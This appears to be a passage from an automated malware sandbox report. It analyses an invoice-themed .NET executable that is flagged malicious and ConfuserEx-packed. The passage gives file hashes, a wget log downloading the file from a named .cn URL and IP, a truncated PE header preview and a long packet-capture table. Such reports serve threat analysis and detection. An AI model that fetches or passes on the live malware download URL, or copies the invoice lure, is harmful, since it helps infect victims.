Preview:	PIVFAGEAAVVMYOKLIHAGVKQSIBRMIEBPKZHRSRYSYCTZASSEWGQLTFYPITGFBLIMOSZPCOYJLDMIKUYRMFZNOVAKNNFUFMFWAQZIZZSOHPUKTMEQKVMZGORRHHUAPAVEHNTRHFTCOWUQLMTXHFAASXNSJOMVEVZKIBTYUEOEAYWORCLXNWXMWVTCVFUJOOHJFVBTQGYSPLVNZVQAKYRWBXASIFOBPMFAPMAVEFPAYEVCHLKOVGMAFTDZYSFCRVFLUCDEZSALOPZIFCHRCOADKGTQMGRAQFQVFLPTIZCOVQGXVCITLOKGAEHQOUDVVLBLANQIWAMALJXSPVCLVLGENZFIFSPDTQOOAOXTRKMORBXQQUMCVCGJNJNIYGXUUXANSJRSROPOUDFHQHUUMMRXDQWLRABBQAZENYVIBHRRHTGWSIVVUQDLCOQYLVPAUFYYHGIERJJLVMIHLHHCCGHRLMANSNVNAYHLENOWUETBHLULUXLDUIUWHDTSBTXYABZUPEVNUTYDIYOWXZQQWZTIKHRACSWYILZGJJAYPXSWVAJEAMWRWUWIOONUGSOWTNWVILBTRYWXPSGGJYETTQICCTQMOORSZENPULBEQOBSNDWJHFGZOXAYRMRTCQAGZFKLTXQJCKKKJTXRIIVBYSWRFFSDWLAWEVZNFVJIYAKGOFIKGKPALYKLUSFUZNXBTTGJQARLJLEPNMUPZBHUFERZBUARRWLRQMAELUFJHXEPWKNEOUOFWRPCGUFYJEWTUPSXMLBAGQWILTIUMBXONDPOFUHNKJJKISPTLDQHMYGKSUZUEBYHKNHJUVSBOBSFQWTBGVEFNVAAKMXTORQQDIBVTWEQECBUJMCLMNPNRTKIKGQQLCBXEDYYHZALQNWVUKKTUNZMKPSISXIDNZZXVGUERMWOJYWVPNSTVVUORBONVDVVOSICVUMWTQLGBVUNLJTMTSZIJARQMRHCGASSVBBFIRIMTSICIANQBRVHJQBP

C:\Users\user\AppData\Local\Temp\tmpFC4D.tmp

Download File

Process:	C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6969712158039245
Encrypted:	false
SSDEEP:	24:zDLHcjI8IQ6sNUYzo1jfRRMF6zzC3ZzNTWx7M00:zDL4ImUYzebRR66C3Z0JMR
MD5:	31CD00400A977C512B9F1AF51F2A5F90
SHA1:	3A6B9ED88BD73091D5685A51CB4C8870315C4A81
SHA-256:	E01ADE9C56AF2361A5ADC05ADE2F5727DF1B80311A0FDC6F15B2E0FFFACC9067
SHA-512:	0521ED245FA8F46DE9502CD53F5A50B01B4E83983CC6D9DE0CF02E54D2825C1C26A748CC27E24633DA1171CE0309323235ECF7EB536D4058214D7618794CF2FA
Malicious:	false
Reputation:	low
Preview:	PWCCAWLGRESZQJYMKOMIHTZVFVPFCSAZVTKGMPWIGSDMTLFZQLHJERDPYZCJGFCRLISWNBAMIMDXCWDVGVLWLRBEVYOOPHYWACKPZXSURGSIFWTFUJKLSAQNAJEWDLUIKFHXLUAMUDGRAVFMICAHEZBIIEGWGAVVJHMHSIBGNLEHYVSOKQMYABDYCPEBOGBMYUCIGVRGYYQRAYNYHAIBMHOTRIZLLYBECMXTCFUOVXXHSEMIUWSBDHOZIZZUXFTLKXXNEMXBKLCQDPKVZNOMDYUYJRWCVILZVJDNNBMPTNOFSKRQTILJRXTKDNUIYSQCAOPCQKTXYXPPGZDZOQYLGYFPFIWNBSQZXYABPTNBJQNBZEETJSFXZNHXBRWUHOMCZAGZQJLNPMZFALBBPHBIXZHLBTBJLTUHPUYVUDWDFJANSIIDJVMUYLPZPYGAJWMTOHGILQWHKJDQUWMTSWIBVVZGAHCNWIFZNGNERRKMSIVXWXEXRZZEWYASCIYJYCOOBWRTNZELPWKFVZKZIBGQBLGCTSTNAJSWPHYJCQSYZVFRYFSRAVVXJIOHQCNVEOIMWPEAVCJLBHRUKDHJWPFMXAKTZVQCOUKYCBZFWBREKKHOHZVNMMJZGWIZEYRAIKTHMJRCWVWKNMJNSZHSDRUZSQOJKCTOSNGKOKEAWUIQNIYHWKIIDHKQIJWCSGRRLEVUTENXSNNVDVYDJTIWYNCAZIEBXMIROLIBTLMGEUOCECFFWLENTJSVHFKQHKAPBXQAJJSUOUSFCBQTHCFYZGSVVAUPLQELRWLXRCZSUSFUBCORCWMJPUNHTEEYODSFGJFTDZLLXMQYMIHIZXOYGABIAWYSBWLAJSCKBWGJBVMMJKBKLUHULJIUHQXIXESAUTNVVZNKMIVIOHPPQAWTQSEHTQMIWNPRZRETXZHRGWOTGIEHCCSGIUCKCIFCQPTAJOFCIMYSMCOPGASEEYCNQLXCNRAPQUSQXTWPKPYCQXPE

C:\Users\user\Desktop\cmdline.out

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	967
Entropy (8bit):	4.636500351414518
Encrypted:	false
SSDEEP:	12:HboLOrAAzJeGWHG7B1De5RhKW32XI1DbBKD2AAzJFOAipsv7eCDZTTVo7viBKD2K:7hUeJBxePgW2IrenePiPCpmbEene2r
MD5:	F95B40AF467F8B70782878859E645C85
SHA1:	FD92285235FC58F2A7A57E8C978140C700EB001C
SHA-256:	4B1BB21DB76BF8A70AEE321A522167B6C63093C65128C4E79B38F6D13DFA5956
SHA-512:	A2803220D9E062B8A9D40D6B61651E0AC309749446B8C5C5EC62473284D253216F4F574ACC0431692E9172D85E3ABB0A8138C58B58061E998F21014CD8C10EAE
Malicious:	false
Reputation:	low
Preview:	--2022-05-27 06:58:29-- http://www.sdrclm.cn/vendor/phpdocumentor/P800/P90GT_Invoice_Related_Property_Tax_P800.exe..Resolving www.sdrclm.cn (www.sdrclm.cn)... 47.105.225.69..Connecting to www.sdrclm.cn (www.sdrclm.cn)\|47.105.225.69\|:80... connected...HTTP request sent, awaiting response... 200 OK..Length: 241664 (236K) [application/octet-stream]..Saving to: 'C:/Users/user/Desktop/download/P90GT_Invoice_Related_Property_Tax_P800.exe'.... 0K .......... .......... .......... .......... .......... 21% 123K 2s.. 50K .......... .......... .......... .......... .......... 42% 237K 1s.. 100K .......... .......... .......... .......... .......... 63% 1.03M 0s.. 150K .......... .......... .......... .......... .......... 84% 285K 0s.. 200K .......... .......... .......... ...... 100% 115K=1.2s....2022-05-27 06:58:31 (204 KB/s) - 'C:/Users/user/Desktop/download/P90GT_Invoice_Related_Property_Tax_P800.exe' saved [241664/241664]....

C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe

Download File

Process:	C:\Windows\SysWOW64\wget.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	241664
Entropy (8bit):	7.4372441284867
Encrypted:	false
SSDEEP:	6144:9gpbhUOMGQHyalJNTGF2kfPySQSAItnexya4y9+xBKKq:7pSalJ8PqSQSBtnexya4y9+xBKK
MD5:	6FFB271DAC5AEA05D5A8FEB1344AC144
SHA1:	20F253980F2D959583346E35B3D36E4AA23E5E70
SHA-256:	7107046A7EDEFA979E9D52E5AF41029CC7C3CAD45E78AB16ECBBFBB2B6349F18
SHA-512:	4C7779E06EB5A14BFDB7D12FE48B6C87FA6329459392C964C74CA98227D012B38A03C9B85BA5DACF091E7DE7075862DD222A38DC1A2EDE73F4B8FAE70AD08BE5
Malicious:	true
Yara Hits:	Rule: SUSP_NET_NAME_ConfuserEx, Description: Detects ConfuserEx packed file, Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe, Author: Arnim Rupp
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 55%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....r.b..................................... ....@.. ....................... ............@.................................X...S.......0=..............................................................................................H...........T,y"..J8Ps... ...t..................@....text................x.............. ..`.rsrc...0=.......>...n..............@..@.reloc..............................@..B.................................... ..`........................................................................................................................................................................................................................................................................................................................................................................................................................................

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 27, 2022 06:58:30.538366079 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:30.706108093 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:30.706233025 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:30.708199024 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:30.888509989 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:30.888588905 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:30.888629913 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:30.888670921 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:30.888710976 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:30.888751030 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:30.888763905 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:30.888791084 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:30.888798952 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:30.888806105 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:30.888833046 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:30.888839006 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:30.888870955 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:30.888911009 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:30.888919115 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:30.888951063 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:30.888993979 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.087290049 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.087348938 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.087387085 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.087423086 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.087460041 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.087479115 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.087496996 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.087512970 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.087532043 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.087553024 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.087569952 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.087605000 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.087618113 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.087644100 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.087681055 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.087694883 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.087718010 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.087738037 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.087759972 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.087778091 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.087799072 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.087805986 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.087835073 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.087871075 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.087894917 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.087907076 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.087941885 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.087949038 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.087976933 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.088013887 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.088025093 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.142646074 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.296469927 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.296577930 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.296619892 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.296658993 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.296701908 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.296753883 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.296772957 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.296793938 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.296813965 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.296819925 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.296837091 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.296875000 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.296886921 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.296916008 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.296955109 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.296961069 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.296993971 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.297034025 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.297040939 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.297074080 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.297113895 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.297127008 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.297154903 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.297198057 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.297207117 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.297239065 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.297277927 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.297313929 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.297317028 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.297357082 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.297367096 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.297395945 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.297436953 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.297454119 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.297482967 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.297493935 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.297523022 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.297534943 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.297563076 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.297604084 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.297625065 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.297642946 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.297682047 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.297687054 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.297722101 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.297761917 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.297782898 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.297802925 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.297841072 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.297848940 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.297880888 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.297920942 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.297931910 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.297959089 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.297974110 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.298001051 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.298016071 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.345856905 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.354211092 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.354278088 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.354393005 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.507158995 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.507220984 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.507261038 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.507301092 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.507312059 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.507339954 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.507380009 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.507380962 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.507421970 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.507450104 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.507461071 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.507499933 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.507504940 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.507540941 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.507548094 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.507579088 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.507608891 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.507618904 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.507658005 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.507692099 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.507698059 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.507738113 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.507757902 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.507776022 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.507816076 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.507827044 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.507855892 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.507893085 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.507906914 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.507931948 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.507971048 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.507987022 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.508011103 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.508053064 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.508064032 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.508090973 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.508130074 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.508143902 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.508172035 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.508212090 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.508232117 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.508251905 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.508290052 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.508305073 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.508328915 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.508368969 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.508405924 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.508407116 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.508445024 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.508462906 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.508505106 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.508512974 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.508553028 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.508574009 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.508589983 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.508630037 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.508642912 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.508668900 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.508708000 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.508733034 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.508748055 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.508785963 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.508800030 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.508825064 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.508863926 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.508877993 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.508904934 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.508944988 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.508958101 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.508985043 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.509043932 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.556633949 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.565105915 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.565161943 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.565248966 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.612346888 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.722872972 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.722935915 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.722975016 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.723000050 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.723016024 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.723057985 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.723067999 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.723098040 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.723139048 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.723145962 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.723176956 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.723222971 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.723239899 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.723263979 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.723304033 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.723311901 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.723344088 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.723382950 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.723388910 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.723422050 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.723463058 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.723469019 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.723500967 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.723541021 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.723545074 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.723579884 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.723618984 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.723625898 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.723659039 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.723696947 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.723706007 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.723737001 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.723778963 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.723782063 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.723815918 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.723855972 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.723862886 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.723893881 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.723932028 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.723941088 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.723972082 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.724009991 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.724018097 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.724050045 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.724092007 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.724101067 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.724129915 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.724169016 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.724179983 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.724212885 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.724251032 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.724260092 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.724289894 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.724329948 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.724337101 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.724369049 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.724409103 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.724412918 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.724447012 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.724493980 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.724519968 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.724560022 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.724598885 CEST	80	49717	47.105.225.69	192.168.2.3
